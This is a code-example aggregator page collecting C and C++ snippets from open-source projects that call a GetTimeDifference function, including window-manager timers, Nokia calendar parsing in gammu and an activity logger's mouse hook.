예제 #1
0
파일: event.c 프로젝트: harryhaaren/jwm
/** Wake up components that need to run at certain times. */
void Signal(void)
{

   static TimeType last = ZERO_TIME;

   CallbackNode *cp;   
   TimeType now;
   Window w;
   int x, y;

   GetCurrentTime(&now);
   if(GetTimeDifference(&now, &last) < MIN_TIME_DELTA) {
      return;
   }
   last = now;

   GetMousePosition(&x, &y, &w);
   for(cp = callbacks; cp; cp = cp->next) {
      if(cp->freq == 0 || GetTimeDifference(&now, &cp->last) >= cp->freq) {
         cp->last = now;
         (cp->callback)(&now, x, y, w, cp->data);
      }
   }

}
예제 #2
0
파일: move.c 프로젝트: technosaurus/jwm
/** Switch desktops if appropriate. */
void SignalMove(const TimeType *now, int x, int y, Window w, void *data)
{

   if(settings.desktopDelay == 0) {
      return;
   }
   if(GetTimeDifference(now, &moveTime) < settings.desktopDelay) {
      return;
   }

   moveTime = *now;
   if(atLeft && LeftDesktop()) {
      SetClientDesktop(currentClient, currentDesktop);
      RestackClients();
   } else if(atRight && RightDesktop()) {
      SetClientDesktop(currentClient, currentDesktop);
      RestackClients();
   } else if(atTop && AboveDesktop()) {
      SetClientDesktop(currentClient, currentDesktop);
      RestackClients();
   } else if(atBottom && BelowDesktop()) {
      SetClientDesktop(currentClient, currentDesktop);
      RestackClients();
   }

}
예제 #3
0
파일: Timer.cpp 프로젝트: nutofem/nuto
void NuTo::Timer::Reset()
{
    if (mShowTime)
    {
#ifdef _OPENMP
        double cpuTimeDifference = GetCPUTimeDifference();
#endif // _OPENMP
        double wallTimeDifference = GetTimeDifference();

        std::ostringstream timing;
        timing << "W:" << std::scientific << std::setprecision(2) << wallTimeDifference << "s";
#ifdef _OPENMP
        timing << "  C:" << cpuTimeDifference << "s";
        timing << "  S:" << std::fixed << cpuTimeDifference / wallTimeDifference;
#endif // _OPENMP


        int lengthMsg = static_cast<int>(mMsg.length());
        int lengthTime = static_cast<int>(timing.str().length());


        int numAdditionalBlanks = std::max(0, mMinOutputLength - lengthMsg - lengthTime - 2); // -2 for []
        std::ostringstream out;
        out << "[" << mMsg << "]" << std::string(numAdditionalBlanks, '.') << timing.str() << '\n';
        if (mLogger == nullptr)
            std::cout << out.str();
        else
            *mLogger << out.str();
    }
    mWallTimeInit = std::chrono::system_clock::now();
#ifdef _OPENMP
    mCPUTimeInit = clock();
#endif // _OPENMP
}
예제 #4
0
파일: main.c 프로젝트: kuailexs/jwm
/** Main JWM event loop. */
void EventLoop(void)
{

   XEvent event;
   TimeType start;

   /* Loop processing events until it's time to exit. */
   while(JLIKELY(!shouldExit)) {
      if(JLIKELY(WaitForEvent(&event))) {
         ProcessEvent(&event);
      }
   }

   /* Process events one last time. */
   GetCurrentTime(&start);
   for(;;) {
      if(JXPending(display) == 0) {
         if(!IsSwallowPending()) {
            break;
         } else {
            TimeType now;
            GetCurrentTime(&now);
            if(GetTimeDifference(&start, &now) > RESTART_DELAY) {
               break;
            }
         }
      }
      if(WaitForEvent(&event)) {
         ProcessEvent(&event);
      }
   }

}
예제 #5
0
파일: nfuncold.c 프로젝트: AndyLavr/gammu
static void N71_65_GetCalendarAlarm(GSM_StateMachine *s, unsigned char *buffer, GSM_CalendarEntry *entry, int DT, GSM_Phone_Data *Data)
{
	unsigned long diff;

	if (buffer[0] == 0x00 && buffer[1] == 0x00 && buffer[2] == 0xff && buffer[3] == 0xff) {
		smprintf(s, "No alarm\n");
	} else {
		memcpy(&entry->Entries[entry->EntriesNum].Date,&entry->Entries[DT].Date,sizeof(GSM_DateTime));

		diff  = ((unsigned int)buffer[0]) << 24;
		diff += ((unsigned int)buffer[1]) << 16;
		diff += ((unsigned int)buffer[2]) << 8;
		diff += buffer[3];
		smprintf(s, "  Difference : %li seconds\n", diff);

		switch (entry->Type) {
		case GSM_CAL_MEETING:
			GetTimeDifference(diff, &entry->Entries[entry->EntriesNum].Date, FALSE, 60);
			break;
		case GSM_CAL_MEMO:
			if (!GSM_IsPhoneFeatureAvailable(Data->ModelInfo, F_CAL35)) {
				GetTimeDifference(diff, &entry->Entries[entry->EntriesNum].Date, FALSE, 60);
				break;
			}
		case GSM_CAL_CALL:
			if (!GSM_IsPhoneFeatureAvailable(Data->ModelInfo, F_CAL35)) {
				GetTimeDifference(diff, &entry->Entries[entry->EntriesNum].Date, FALSE, 60);
				break;
			}
		default:
			GetTimeDifference(diff, &entry->Entries[entry->EntriesNum].Date, FALSE, 1);
		}
		smprintf(s, "Alarm date   : %02i-%02i-%04i %02i:%02i:%02i\n",
			entry->Entries[entry->EntriesNum].Date.Day,   entry->Entries[entry->EntriesNum].Date.Month,
			entry->Entries[entry->EntriesNum].Date.Year,  entry->Entries[entry->EntriesNum].Date.Hour,
			entry->Entries[entry->EntriesNum].Date.Minute,entry->Entries[entry->EntriesNum].Date.Second);

		entry->Entries[entry->EntriesNum].EntryType = CAL_TONE_ALARM_DATETIME;
		if (entry->Type == GSM_CAL_BIRTHDAY) {
			if (buffer[14]!=0x00) entry->Entries[entry->EntriesNum].EntryType = CAL_SILENT_ALARM_DATETIME;
			smprintf(s, "Alarm type   : Silent\n");
		}

		entry->EntriesNum++;
	}
}
예제 #6
0
double GetStructTimeDiff(struct timeval currentTime, struct timeval prevTime)
{
	double retVal, currentTimeValue, prevTimeValue;
	currentTimeValue = GetTimeStampInUSeconds(currentTime);
	prevTimeValue = GetTimeStampInUSeconds(prevTime);
	retVal = GetTimeDifference(currentTimeValue, prevTimeValue);
	return retVal;
}
예제 #7
0
double GetInterArrivalSleepTime(struct timeval previousTime, double interArrivalTime)
{
	double retVal, prevTimeValue, currentTimeValue;
	struct timeval currentTime;
	gettimeofday(&currentTime,NULL);
	currentTimeValue = GetTimeStampInUSeconds(currentTime);
	prevTimeValue = GetTimeStampInUSeconds(previousTime);
	prevTimeValue = GetTimeDifference(currentTimeValue, prevTimeValue);
	prevTimeValue /= 1000;
	retVal = interArrivalTime - prevTimeValue;
	return retVal;
}
예제 #8
0
double LogManager::calcDuration(int from, int to)
{
	if(from >= events.size()-1) return 0;

	string fromtime = events[from].timestamp;
	int temp = to + 1;
	if(temp >= events.size())
	{
		temp = to;
	}
	string totime = events[temp].timestamp;

	return GetTimeDifference(toSystemTime(fromtime),toSystemTime(totime));
}
예제 #9
0
파일: clock.c 프로젝트: JamesLinus/jwm
/** Update a clock tray component. */
void SignalClock(const TimeType *now, int x, int y, Window w, void *data)
{

   ClockType *cp = (ClockType*)data;
   const char *longTime;

   DrawClock(cp, now);
   if(cp->cp->tray->window == w &&
      abs(cp->mousex - x) < settings.doubleClickDelta &&
      abs(cp->mousey - y) < settings.doubleClickDelta) {
      if(GetTimeDifference(now, &cp->mouseTime) >= settings.popupDelay) {
         longTime = GetTimeString("%c", cp->zone);
         ShowPopup(x, y, longTime, POPUP_CLOCK);
      }
   }

}
예제 #10
0
void RPG_VisionTimer::Update()
{
  float const physicsTimeStep = vHavokPhysicsModule::GetInstance()->GetPhysicsTimeStep();
  float accumulatedTimeDifference = 0.0f;

  // Limit frame rate:
  // Basically prevent ThinkFunction from being called more frequently than the physics update
  for(;;)
  {
    VDefaultTimer::Update();

    accumulatedTimeDifference += GetTimeDifference();
    if ( (accumulatedTimeDifference < 1e-6f) || (accumulatedTimeDifference >= physicsTimeStep) )
      break;
  }

  if(accumulatedTimeDifference > GetMaxTimeDifference())
    accumulatedTimeDifference = GetMaxTimeDifference();

  SetTimeDifference(accumulatedTimeDifference);
}
예제 #11
0
파일: move.c 프로젝트: Nehamkin/jwm
/** Switch to the specified desktop. */
void UpdateDesktop(const TimeType *now)
{
   if(settings.desktopDelay == 0) {
      return;
   }
   if(GetTimeDifference(now, &moveTime) < settings.desktopDelay) {
      return;
   }
   moveTime = *now;

   if(atLeft && LeftDesktop()) {
      SetClientDesktop(currentClient, currentDesktop);
      RequireRestack();
   } else if(atRight && RightDesktop()) {
      SetClientDesktop(currentClient, currentDesktop);
      RequireRestack();
   } else if(atTop && AboveDesktop()) {
      SetClientDesktop(currentClient, currentDesktop);
      RequireRestack();
   } else if(atBottom && BelowDesktop()) {
      SetClientDesktop(currentClient, currentDesktop);
      RequireRestack();
   }
}
예제 #12
0
파일: taskbar.c 프로젝트: JamesLinus/jwm
/** Signal task bar (for popups). */
void SignalTaskbar(const TimeType *now, int x, int y, Window w, void *data)
{

   TaskBarType *bp = (TaskBarType*)data;
   TaskEntry *ep;

   if(w == bp->cp->tray->window &&
      abs(bp->mousex - x) < settings.doubleClickDelta &&
      abs(bp->mousey - y) < settings.doubleClickDelta) {
      if(GetTimeDifference(now, &bp->mouseTime) >= settings.popupDelay) {
         ep = GetEntry(bp, x - bp->cp->screenx, y - bp->cp->screeny);
         if(settings.groupTasks) {
            if(ep && ep->clients->client->className) {
               ShowPopup(x, y, ep->clients->client->className, POPUP_TASK);
            }
         } else {
            if(ep && ep->clients->client->name) {
               ShowPopup(x, y, ep->clients->client->name, POPUP_TASK);
            }
         }
      }
   }

}
예제 #13
0
파일: event.c 프로젝트: GustavoMOG/JWM
/** Wake up components that need to run at certain times. */
void Signal() {

   static TimeType last = ZERO_TIME;

   TimeType now;
   int x, y;

   GetCurrentTime(&now);

   if(GetTimeDifference(&now, &last) < MIN_TIME_DELTA) {
      return;
   }
   last = now;

   GetMousePosition(&x, &y);

   SignalTaskbar(&now, x, y);
   SignalTrayButton(&now, x, y);
   SignalClock(&now, x, y);
   SignalTray(&now, x, y);
   SignalPager(&now, x, y);
   SignalPopup(&now, x, y);

}
예제 #14
0
파일: nfuncold.c 프로젝트: AndyLavr/gammu
/* method 2 */
GSM_Error N71_65_ReplyGetNextCalendar2(GSM_Protocol_Message *msg, GSM_StateMachine *s)
{
	GSM_DateTime 		Date;
	GSM_CalendarEntry	*entry = s->Phone.Data.Cal;
	GSM_Phone_Data		*Data = &s->Phone.Data;
	int			i;
	unsigned long		diff;

	smprintf(s, "Calendar note received method 2\n");

	if (msg->Length < 10) return ERR_EMPTY;

	entry->Location = msg->Buffer[4]*256 + msg->Buffer[5];
	smprintf(s, "Location: %i\n",entry->Location);

	/* Not birthday */
	if (msg->Buffer[21] != 0x04) {
		Date.Year 	= 2030;	Date.Month 	= 01; Date.Day    = 01;
		Date.Hour 	= 00;	Date.Minute 	= 00; Date.Second = 00;
	} else {
		Date.Year 	= 2029; Date.Month 	= 12; Date.Day 	  = 31;
		Date.Hour 	= 22;   Date.Minute 	= 59; Date.Second = 58;
	}
	diff  = ((unsigned int)msg->Buffer[12]) << 24;
	diff += ((unsigned int)msg->Buffer[13]) << 16;
	diff += ((unsigned int)msg->Buffer[14]) << 8;
	diff += msg->Buffer[15];
	smprintf(s, "  Difference : %li seconds\n", diff);
	GetTimeDifference(diff, &Date, TRUE, 1);
	Date.Year += 20;
	entry->Entries[0].EntryType = CAL_START_DATETIME;

	smprintf(s, "Note type %02x: ",msg->Buffer[21]);
	switch (msg->Buffer[21]) {
	case 0x01:
	case 0x08:
		if (msg->Buffer[21] == 0x01) {
			smprintf(s, "Meeting or Reminder\n");
			entry->Type = GSM_CAL_MEETING;
		} else {
			smprintf(s, "Memo\n");
			Data->Cal->Type = GSM_CAL_MEMO;
		}

		memcpy(&entry->Entries[0].Date,&Date,sizeof(GSM_DateTime));
		entry->EntriesNum++;

		N71_65_GetCalendarAlarm(s, msg->Buffer+16, entry, 0, Data);
		GSM_GetCalendarRecurranceRepeat(&(s->di), msg->Buffer+22, NULL, entry);

		memcpy(entry->Entries[entry->EntriesNum].Text, msg->Buffer+30, msg->Buffer[28]*2);
		entry->Entries[entry->EntriesNum].Text[msg->Buffer[28]*2]   = 0;
		entry->Entries[entry->EntriesNum].Text[msg->Buffer[28]*2+1] = 0;
		entry->Entries[entry->EntriesNum].EntryType		   = CAL_TEXT;
		break;
	case 0x02:
		smprintf(s, "Call\n");
		entry->Type = GSM_CAL_CALL;

		memcpy(&entry->Entries[0].Date,&Date,sizeof(GSM_DateTime));
		entry->EntriesNum++;

		N71_65_GetCalendarAlarm(s, msg->Buffer+16, entry, 0, Data);
		GSM_GetCalendarRecurranceRepeat(&(s->di), msg->Buffer+22, NULL, entry);

		i = msg->Buffer[28] * 2;
		if (i!=0) {
			memcpy(entry->Entries[entry->EntriesNum].Text, msg->Buffer+30, i);
			entry->Entries[entry->EntriesNum].Text[i]   	= 0;
			entry->Entries[entry->EntriesNum].Text[i+1] 	= 0;
			entry->Entries[entry->EntriesNum].EntryType	= CAL_PHONE;
			smprintf(s, "Phone        : \"%s\"\n", DecodeUnicodeString(entry->Entries[entry->EntriesNum].Text));
			entry->EntriesNum++;
		}

		memcpy(entry->Entries[entry->EntriesNum].Text, msg->Buffer+30+i, msg->Buffer[29]*2);
		entry->Entries[entry->EntriesNum].Text[msg->Buffer[29]*2]   = 0;
		entry->Entries[entry->EntriesNum].Text[msg->Buffer[29]*2+1] = 0;
		entry->Entries[entry->EntriesNum].EntryType		   = CAL_TEXT;
		break;
	case 0x04:
		smprintf(s, "Birthday\n");
		Data->Cal->Type = GSM_CAL_BIRTHDAY;

		/* Year was set earlier */
		entry->Entries[0].Date.Month	= Date.Month;
		entry->Entries[0].Date.Day	= Date.Day;
		entry->Entries[0].Date.Hour	= 23;
		entry->Entries[0].Date.Minute	= 59;
		entry->Entries[0].Date.Second	= 58;
		entry->EntriesNum++;

		N71_65_GetCalendarAlarm(s, msg->Buffer+16, entry, 0, Data);
		GSM_GetCalendarRecurranceRepeat(&(s->di), msg->Buffer+22, NULL, entry);

		/* Birthday year */
		entry->Entries[0].Date.Year = msg->Buffer[28]*256 + msg->Buffer[29];
		if (msg->Buffer[28] == 0xff && msg->Buffer[29] == 0xff) entry->Entries[0].Date.Year = 0;
		smprintf(s, "Birthday date: %02i-%02i-%04i\n",
			entry->Entries[0].Date.Day,entry->Entries[0].Date.Month,
			entry->Entries[0].Date.Year);

		memcpy(entry->Entries[entry->EntriesNum].Text, msg->Buffer+32, msg->Buffer[31]*2);
		entry->Entries[entry->EntriesNum].Text[msg->Buffer[31]*2]   = 0;
		entry->Entries[entry->EntriesNum].Text[msg->Buffer[31]*2+1] = 0;
		entry->Entries[entry->EntriesNum].EntryType		   = CAL_TEXT;
		break;
	default:
		smprintf(s, "ERROR: unknown %i\n",msg->Buffer[6]);
		return ERR_UNKNOWNRESPONSE;
	}
	smprintf(s, "Text         : \"%s\"\n", DecodeUnicodeString(entry->Entries[entry->EntriesNum].Text));
	entry->EntriesNum++;
	return ERR_NONE;
}
예제 #15
0
void LogManager::calcStatistic()
{
	int len = events.size();
	totaltime = GetTimeDifference(toSystemTime(events[0].timestamp),toSystemTime(events[len-1].timestamp));
	
	EventProcess p(events[0].processName); p.from = 0;
	vector<LogEvent> keys;
	bool hasPushCtrl = false;
	for(int i=0; i<len-1; i++)
	{
		//LogEvent e = events[i];
		
		events[i].duration = GetTimeDifference(toSystemTime(events[i].timestamp),toSystemTime(events[i+1].timestamp));
		if(events[i].isHasAcc) 
		{
			accui_events.push_back(i);

			string acc_name = events[i].acc.name;
			std::transform(acc_name.begin(), acc_name.end(), acc_name.begin(), ::tolower);
			int acc_index = acc_name.find("paste");
			if(acc_index>=0 && events[i].acc.type == "menu item")
			{
				PasteEvent pe;
				pe.timestamp = events[i].timestamp;
				pe.windowName = events[i].windowName;
				pe.processName = events[i].processName;
				pe.parentWindowName = events[i].parentWindowName;
				pe.method = "Menu -> Paste";
				paste_events.push_back(pe);
			}
		}

		if(events[i].isHasSrceenshot)
		{
			screenshot_events.push_back(i);
		}

		process_set.insert(events[i].processName);
		window_set.insert(events[i].windowName);
		//events_map[events[i].timestamp] = i;
		
		if(events[i].eventType == "keyinput")
		{
			if(hasPushCtrl)
			{
				keys.push_back(events[i]);
				if(events[i].name != "Ctrl" && events[i].name != "Shift" && events[i].name != "Alt")
				{
					hasPushCtrl = false;
					keyEvents.push_back(keys);

					string keystr = this->keysToString(keys);
					if(keystr == "Ctrl+V")
					{
						PasteEvent pe;
						pe.timestamp = keys[0].timestamp;
						pe.windowName = keys[0].windowName;
						pe.processName = keys[0].processName;
						pe.parentWindowName = keys[0].parentWindowName;
						pe.method = keystr;
						paste_events.push_back(pe);
					}
					keys = vector<LogEvent>();
				}
			}
			else
			{
				if(events[i].name == "Ctrl")
				{
					hasPushCtrl = true;
					keys.push_back(events[i]);
				}
				else if(events[i].name.size()>1 && events[i].name.substr(0,1) == "F")
				{
					keys.push_back(events[i]);
					keyEvents.push_back(keys);
					keys = vector<LogEvent>();
				}
				else
				{
					if(keys.size()>0)
					{
						keyEvents.push_back(keys);
						keys = vector<LogEvent>();
					}
				}
			}
			
		}

		if(i>0)
		{
			if(events[i].processName != p.name)
			{
				p.to = i - 1;

				if(process_stat.find(p.name) != process_stat.end())
				{
					process_stat[p.name] += calcDuration(p.from, p.to);
				}
				else
				{
					process_stat[p.name] = calcDuration(p.from, p.to);
				}

				processes.push_back(p);
				p = EventProcess(events[i].processName);
				p.from = i;
			}
			
		}
	}

	p.to = len - 1;
	processes.push_back(p);
}
예제 #16
0
파일: Timer.cpp 프로젝트: Ced2911/ppsspp
// Add the time difference since the last Update() to the starting time.
// This is used to compensate for a paused game.
void Timer::AddTimeDifference()
{
	m_StartTime += GetTimeDifference();
}
예제 #17
0
void LogDetailWidget::copyPaste()
{
	QAbstractItemModel *model = new QStandardItemModel(0, 7, this);
	ui.cpView->setModel(model);

	int k = 0;
	model->setHeaderData(k++, Qt::Horizontal, tr("Timestamp"));
	model->setHeaderData(k++, Qt::Horizontal, tr("Copy"));
	model->setHeaderData(k++, Qt::Horizontal, tr("Window Name"));
	model->setHeaderData(k++, Qt::Horizontal, tr("Process Name"));
	model->setHeaderData(k++, Qt::Horizontal, tr("Paste"));
	model->setHeaderData(k++, Qt::Horizontal, tr("Window Name"));
	model->setHeaderData(k++, Qt::Horizontal, tr("Process Name"));

	int i, j;
	i = j = 0;
	int num = 0;
	while(i<logMan.copy_events.size() || j < logMan.paste_events.size())
	{
		string type = "";
		string timestamp = "";
		string copyText = "";
		string cwindow = "";
		string cprocess = "";
		string pasteText = "";
		string pwindow = "";
		string pprocess = "";
		if(i>=logMan.copy_events.size())
		{
			timestamp = logMan.paste_events[j].timestamp;
			pasteText = logMan.paste_events[j].method;
			pwindow = logMan.paste_events[j].windowName;
			pprocess= logMan.paste_events[j].processName;
			j++;
		}
		else if(j>=logMan.paste_events.size())
		{
			timestamp = logMan.copy_events[i].timestamp;
			copyText = logMan.copy_events[i].text;
			cwindow = logMan.copy_events[i].windowName;
			cprocess= logMan.copy_events[i].processName;
			i++;
		}
		else
		{
			string t1 = logMan.copy_events[i].timestamp;
			string t2 = logMan.paste_events[j].timestamp;
			double interval = GetTimeDifference(toSystemTime(t1), toSystemTime(t2));
			if(interval<0)
			{
				timestamp = logMan.paste_events[j].timestamp;
				pasteText = logMan.paste_events[j].method;
				pwindow = logMan.paste_events[j].windowName;
				pprocess= logMan.paste_events[j].processName;
				j++;	
			}
			else
			{
				timestamp = logMan.copy_events[i].timestamp;
				copyText = logMan.copy_events[i].text;
				cwindow = logMan.copy_events[i].windowName;
				cprocess= logMan.copy_events[i].processName;
				i++;
			}
		}
		k=0;
		model->insertRow(num);
		model->setData(model->index(num,k++), QString::fromStdString(timestamp));
		model->setData(model->index(num,k++), QString::fromStdString(copyText));
		model->setData(model->index(num,k++), QString::fromStdString(cwindow));
		model->setData(model->index(num,k++), QString::fromStdString(cprocess));
		model->setData(model->index(num,k++), QString::fromStdString(pasteText));
		model->setData(model->index(num,k++), QString::fromStdString(pwindow));
		model->setData(model->index(num,k++), QString::fromStdString(pprocess));
		num++;
	}
}
예제 #18
0
LRESULT CALLBACK LLMouseHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	if(nCode < 0)
	{ 
		return CallNextHookEx(NULL, nCode, wParam, lParam);
	}
	
	//time_t timer;
	//time(&timer);

	PMSLLHOOKSTRUCT pHookStruct = (PMSLLHOOKSTRUCT) lParam;
	POINT point = pHookStruct->pt;
	
	HWND hwnd = WindowFromPoint(point);
	if(hwnd == NULL)
	{
		return CallNextHookEx(NULL, nCode, wParam, lParam);
	}

	std::string windowName = GetWindowNameStr(hwnd);
	ReplaceAll(windowName,"\n","\\n");
	ReplaceAll(windowName,"\t","\\t");

	DWORD processId;
	std::string processName = GetProcessNameStr(hwnd, &processId);

	std::string parentWindowName = GetNotNullParentNameStr(hwnd);
	ReplaceAll(parentWindowName,"\n","\\n");
	ReplaceAll(parentWindowName,"\t","\\t");

	if(g_fMouseFile == NULL)
	{
		errno_t err = _tfopen_s(&g_fMouseFile,_T("log/mouse.txt"),_T("a"));
		if(err != 0)
		{
			printf_s("Open Mouse File Error\n");
			return 1;
		}
		_tfopen_s(&g_fAccTimeOut,_T("log/acc_timeout.txt"),_T("a"));
	}

	SYSTEMTIME sys;
	GetLocalTime( &sys );
	std::string strTime = GetSysLocalTimeStr(sys);

	if(wParam == WM_MOUSEMOVE)
	{
		double interval = GetTimeDifference(preMouseMoveTime,sys);	
		if(processId == preProcessId && hwnd == preWindow && interval<0.25)
		{
			//printf_s("MOUSE MOVE NOT LOGGED %d %f %d\n", timer, interval,preMouseMoveTimer);
			preMouseMoveTime = sys;
			return CallNextHookEx(NULL, nCode, wParam, lParam);
		}
		preMouseMoveTime = sys;
	}

	if(!IsNeedProcess(processName, windowName,parentWindowName))
	{
		printf_s("NOT Logged application %d %d\n", processId,preProcessId);
		if(processId != preProcessId || hwnd != preWindow)
		{
			preProcessId = processId;
			preWindow = hwnd;
			fprintf_s(g_fMouseFile,"%s\n", strTime.c_str());
			fprintf_s(g_fMouseFile,"NOT LOGGED APPLICATION\n");
			fflush(g_fMouseFile);
		}
		return CallNextHookEx(NULL, nCode, wParam, lParam);
	}

	
	RECT winRect;
	GetWindowRect(hwnd,&winRect);
	if(winRect.left<0)
	{
		winRect.right = winRect.right + winRect.left;
		winRect.left = 0;
	}
	if(winRect.top<0)
	{
		winRect.bottom = winRect.bottom + winRect.top;
		winRect.top = 0;
	}

	std::string msgName = GetMouseEventNameStr(wParam);

	fprintf_s(g_fMouseFile,"%s\n", strTime.c_str());
	fprintf_s(g_fMouseFile,"%s %d %d\n", msgName.c_str(), point.x, point.y);
	fprintf_s(g_fMouseFile,"%x,%s (%d %d %d %d)\n", (int)hwnd, windowName.c_str(), winRect.left, winRect.top,winRect.right,winRect.bottom);
	fprintf_s(g_fMouseFile,"%s %d\n", processName.c_str(), processId);
	fprintf_s(g_fMouseFile,"%s\n", parentWindowName.c_str());
	fflush(g_fMouseFile);
	
	if(wParam == WM_LBUTTONDOWN)
	{
		double interval = GetTimeDifference(preLClickTime,sys);
		printf_s("Window: %s, %s, %f\r\n", msgName.c_str(),windowName.c_str(), interval);
		
		if(interval > 0.5 || preLeftDownWindow != hwnd)
		{
			std::string img = "log/screen/" + strTime +  ".png";
			GetScreeny(SCREEN_RECT,from_string(img).c_str(),100);

			ParamData p;
			p.pt = point;
			p.sys = sys;

			HANDLE thread = CreateThread(NULL, 0, AccessUIThreadFunction, (LPVOID)&p, 0, NULL);  
			//threadList.push_back(thread);
				
			if(WAIT_TIMEOUT == WaitForSingleObject(thread,500))
			{
				fprintf_s(g_fAccTimeOut,"%s UIAutomation time out\n", strTime.c_str());
				fflush(g_fAccTimeOut);
				printf_s("thread time out\n");
			}
			
			CloseHandle(thread);
		}
		//preLClickTimer = timer;
		preLClickTime = sys;
		preLeftDownWindow = hwnd;

	}
	else if(wParam == WM_MOUSEWHEEL)
	{
		//double interval =  difftime(timer,preMouseWheelTimer);
		double interval = GetTimeDifference(preMouseWheelTime,sys);
		if(interval > 1 || preWheelWindow !=  hwnd)
		{
			std::string img = "log/screen/" + strTime +  ".png";
			GetScreeny(SCREEN_RECT,from_string(img).c_str(),100);
		}
		//preMouseWheelTimer = timer;
		preMouseWheelTime = sys;
		preWheelWindow = hwnd;
	}

	preProcessId = processId;
	preWindow = hwnd;

	return CallNextHookEx(NULL, nCode, wParam, lParam);
}
예제 #19
0
파일: 6510cal.c 프로젝트: Bakus/gammu
/* method 3 */
GSM_Error N6510_ReplyGetCalendar3(GSM_Protocol_Message *msg, GSM_StateMachine *s)
{
	GSM_CalendarEntry 		*entry = s->Phone.Data.Cal;
	unsigned long			diff;
	int				i;
	gboolean				found = FALSE;
	GSM_Phone_N6510Data		*Priv = &s->Phone.Data.Priv.N6510;
	int len;

	smprintf(s, "Calendar note received method 3\n");

	smprintf(s,"Note type %02i: ",msg->Buffer[27]);
	switch(msg->Buffer[27]) {
		case 0x00: smprintf(s,"Reminder\n"); entry->Type = GSM_CAL_REMINDER; break;
		case 0x01: smprintf(s,"Meeting\n");  entry->Type = GSM_CAL_MEETING;  break;
		case 0x02: smprintf(s,"Call\n");     entry->Type = GSM_CAL_CALL;     break;
		case 0x04: smprintf(s,"Birthday\n"); entry->Type = GSM_CAL_BIRTHDAY; break;
		case 0x08: smprintf(s,"Memo\n");     entry->Type = GSM_CAL_MEMO;     break;
		case 0x20: smprintf(s,"Birthday\n"); entry->Type = GSM_CAL_BIRTHDAY; break;
		default  : smprintf(s,"unknown\n");  entry->Type = GSM_CAL_MEMO;
	}

	smprintf(s,"StartTime: %04i-%02i-%02i %02i:%02i\n",
		msg->Buffer[28]*256+msg->Buffer[29],
		msg->Buffer[30],msg->Buffer[31],msg->Buffer[32],
		msg->Buffer[33]);
	GSM_GetCurrentDateTime(&entry->Entries[0].Date);
	entry->Entries[0].Date.Year 	= msg->Buffer[28]*256+msg->Buffer[29];
	if (entry->Type == GSM_CAL_BIRTHDAY) {
		entry->Entries[0].Date.Year = entry->Entries[0].Date.Year;
		smprintf(s,"%i\n",entry->Entries[0].Date.Year);
	}
	entry->Entries[0].Date.Month 	= msg->Buffer[30];
	entry->Entries[0].Date.Day 	= msg->Buffer[31];
	entry->Entries[0].Date.Hour 	= msg->Buffer[32];
	entry->Entries[0].Date.Minute 	= msg->Buffer[33];
	/* Garbage seen with 3510i 3.51 */
	if (entry->Entries[0].Date.Month == 0 &&
			entry->Entries[0].Date.Day == 0 &&
			entry->Entries[0].Date.Hour == 0 &&
			entry->Entries[0].Date.Minute == 0)
		return ERR_EMPTY;
	entry->Entries[0].Date.Second	= 0;
	entry->Entries[0].EntryType = CAL_START_DATETIME;
	entry->EntriesNum++;

	GSM_GetCalendarRecurranceRepeat(&(s->di), msg->Buffer+40, msg->Buffer+46, entry);

	if (entry->Type != GSM_CAL_BIRTHDAY) {
		smprintf(s,"EndTime: %04i-%02i-%02i %02i:%02i\n",
			msg->Buffer[34]*256+msg->Buffer[35],
			msg->Buffer[36],msg->Buffer[37],msg->Buffer[38],
			msg->Buffer[39]);
		entry->Entries[entry->EntriesNum].Date.Year 	= msg->Buffer[34]*256+msg->Buffer[35];
		entry->Entries[entry->EntriesNum].Date.Month 	= msg->Buffer[36];
		entry->Entries[entry->EntriesNum].Date.Day 	= msg->Buffer[37];
		entry->Entries[entry->EntriesNum].Date.Hour 	= msg->Buffer[38];
		entry->Entries[entry->EntriesNum].Date.Minute 	= msg->Buffer[39];
		entry->Entries[entry->EntriesNum].Date.Second	= 0;
		entry->Entries[entry->EntriesNum].EntryType = CAL_END_DATETIME;
		entry->EntriesNum++;
	}

	smprintf(s, "Note icon: %02x\n",msg->Buffer[21]);
	for(i=0;i<Priv->CalendarIconsNum;i++) {
		if (Priv->CalendarIconsTypes[i] == entry->Type) {
			found = TRUE;
		}
	}
	if (!found) {
		Priv->CalendarIconsTypes[Priv->CalendarIconsNum] = entry->Type;
		Priv->CalendarIcons	[Priv->CalendarIconsNum] = msg->Buffer[21];
		Priv->CalendarIconsNum++;
	}

	if (msg->Buffer[14] == 0xFF && msg->Buffer[15] == 0xFF && msg->Buffer[16] == 0xff && msg->Buffer[17] == 0xff) {
		smprintf(s, "No alarm\n");
	} else {
		diff  = ((unsigned int)msg->Buffer[14]) << 24;
		diff += ((unsigned int)msg->Buffer[15]) << 16;
		diff += ((unsigned int)msg->Buffer[16]) << 8;
		diff += msg->Buffer[17];

		memcpy(&entry->Entries[entry->EntriesNum].Date,&entry->Entries[0].Date,sizeof(GSM_DateTime));
		GetTimeDifference(diff, &entry->Entries[entry->EntriesNum].Date, FALSE, 60);
		smprintf(s, "Alarm date   : %02i-%02i-%04i %02i:%02i:%02i\n",
			entry->Entries[entry->EntriesNum].Date.Day,   entry->Entries[entry->EntriesNum].Date.Month,
			entry->Entries[entry->EntriesNum].Date.Year,  entry->Entries[entry->EntriesNum].Date.Hour,
			entry->Entries[entry->EntriesNum].Date.Minute,entry->Entries[entry->EntriesNum].Date.Second);

		entry->Entries[entry->EntriesNum].EntryType = CAL_TONE_ALARM_DATETIME;
		if (msg->Buffer[22]==0x00 && msg->Buffer[23]==0x00 &&
		    msg->Buffer[24]==0x00 && msg->Buffer[25]==0x00) {
			entry->Entries[entry->EntriesNum].EntryType = CAL_SILENT_ALARM_DATETIME;
			smprintf(s, "Alarm type   : Silent\n");
		}
		entry->EntriesNum++;
	}

	if (entry->Type == GSM_CAL_BIRTHDAY) {
		if (msg->Buffer[42] == 0xff && msg->Buffer[43] == 0xff) {
			entry->Entries[0].Date.Year = 0;
		} else {
			entry->Entries[0].Date.Year = msg->Buffer[42]*256+msg->Buffer[43];
		}
	}

	len = msg->Buffer[50] * 256 + msg->Buffer[51];
	if (len > GSM_MAX_CALENDAR_TEXT_LENGTH) {
		smprintf(s, "Calendar text too long (%d), truncating to %d\n", len, GSM_MAX_CALENDAR_TEXT_LENGTH);
		len = GSM_MAX_CALENDAR_TEXT_LENGTH;
	}
	memcpy(entry->Entries[entry->EntriesNum].Text,
		msg->Buffer + 54,
		len * 2);
	entry->Entries[entry->EntriesNum].Text[len * 2]  = 0;
